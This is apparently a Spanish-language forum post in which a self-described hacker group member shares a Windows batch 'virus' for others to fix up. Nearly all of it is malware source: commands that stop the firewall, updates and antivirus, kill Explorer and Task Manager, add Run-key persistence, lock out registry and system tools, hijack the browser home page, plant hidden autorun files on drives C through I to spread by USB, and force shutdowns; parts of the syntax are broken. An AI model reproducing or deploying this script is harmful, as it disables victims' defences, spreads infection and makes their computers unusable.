grupo black Eye Security Team su amigo W4rR3d
espero que lo corrigan este virus informatico
Código
@echo off msg * hacked by -={W4rR3d}=- net stop "Firewall de Windows/Conexion compartida a Internet (ICS)" net stop "Actualizaciones automáticas" net stop "Centro de seguridad" net stop "nod32krn" net stop "nod32kui" net stop "nod32" net stop "TeaTimer" taskkill /f/im "explorer.exe /im "teatimer.exe"/im "taskmgr.exe Taskkill /f /IM nod32krn.exe /IM nod32kui.exe /IM nod32.exe start /MAX %homedrive%\boot.ini & rundll32 user32.dll,SwapMouseButton REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v TASKMGR /t REG_SZ /d "C:\taskmgr.bat" /f REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v SHUTDOWN /t REG_SZ /d "C:\apagar.vbs" /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_ DWORD /d 1 /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableMsConfig /t REG_DWORD /d 1 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://www.imagehousing.com/image/671793" reg Add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 1 /f reg Add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Window Title" /t REG_SZ /d "Hacked By W4rR3d" %task%.[Autorun] >> C:\Autorun.inf %task%.label=Pendrive >> C:\Autorun.inf %task%.action=Abrir Pendrive >> C:\Autorun.inf %task%.shellexecute="/taskmgr.bat" >> C:\Autorun.inf echo On Error Resume Next >> C:\taskmgr.vbs echo shell.run "C:\taskmgr.bat",0 >> C:\taskmgr.vbs start C:\taskmgr.vbs attrib +s +h +r C:\taskmgr.bat attrib +s +h +r C:\autorun.inf :D %task%.[Autorun] >> D:\Autorun.inf %task%.label=Pendrive >> D:\Autorun.inf %task%.action=Abrir Pendrive >> D:\Autorun.inf %task%.shellexecute="/taskmgr.bat" >> D:\Autorun.inf echo On Error Resume Next >> D:\taskmgr.vbs echo shell.run "D:\taskmgr.bat",0 >> D:\taskmgr.vbs start D:\taskmgr.vbs attrib +s +h +r D:\taskmgr.bat attrib +s +h +r D:\autorun.inf :E %task%.[Autorun] >> E:\Autorun.inf %task%.label=Pendrive >> E:\Autorun.inf %task%.action=Abrir Pendrive >> E:\Autorun.inf %task%.shellexecute="/taskmgr.bat" >> E:\Autorun.inf echo On Error Resume Next >> E:\taskmgr.vbs echo shell.run "E:\taskmgr.bat",0 >> E:\taskmgr.vbs start E:\taskmgr.vbs attrib +s +h +r E:\taskmgr.bat attrib +s +h +r E:\autorun.inf :F %task%.[Autorun] >> F:\Autorun.inf %task%.label=Pendrive >> F:\Autorun.inf %task%.action=Abrir Pendrive >> F:\Autorun.inf %task%.shellexecute="/taskmgr.bat" >> F:\Autorun.inf echo On Error Resume Next >> F:\taskmgr.vbs echo shell.run "F:\taskmgr.bat",0 >> F:\taskmgr.vbs start F:\taskmgr.vbs attrib +s +h +r F:\taskmgr.bat attrib +s +h +r F:\autorun.inf :G %task%.[Autorun] >> G:\Autorun.inf %task%.label=Pendrive >> G:\Autorun.inf %task%.action=Abrir Pendrive >> G:\Autorun.inf %task%.shellexecute="/taskmgr.bat" >> G:\Autorun.inf echo On Error Resume Next >> G:\taskmgr.vbs echo shell.run "G:\taskmgr.bat",0 >> G:\taskmgr.vbs start G:\taskmgr.vbs attrib +s +h +r G:\taskmgr.bat attrib +s +h +r G:\autorun.inf :H %task%.[Autorun] >> H:\Autorun.inf %task%.label=Pendrive >> H:\Autorun.inf %task%.action=Abrir Pendrive >> H:\Autorun.inf %task%.shellexecute="/taskmgr.bat" >> H:\Autorun.inf echo On Error Resume Next >> H:\taskmgr.vbs echo shell.run "H:\taskmgr.bat",0 >> H:\taskmgr.vbs start H:\taskmgr.vbs attrib +s +h +r H:\taskmgr.bat attrib +s +h +r H:\autorun.inf :I %task%.[Autorun] >> I:\Autorun.inf %task%.label=Pendrive >> I:\Autorun.inf %task%.action=Abrir Pendrive >> I:\Autorun.inf %task%.shellexecute="/taskmgr.bat" >> I:\Autorun.inf echo On Error Resume Next >> I:\taskmgr.vbs echo shell.run "C:\taskmgr.bat",0 >> I:\taskmgr.vbs start I:\taskmgr.vbs attrib +s +h +r I:\taskmgr.bat attrib +s +h +r I:\autorun.inf :REINI echo On Error Resume Next >> C:\apagar.vbs echo shell.run "shutdown.exe -s -t 11" >> C:\apagar.vbs start C:\apagar.vbs start /MIN %homedrive%\boot.ini & rundll32 user32.dll,SwapMouseButton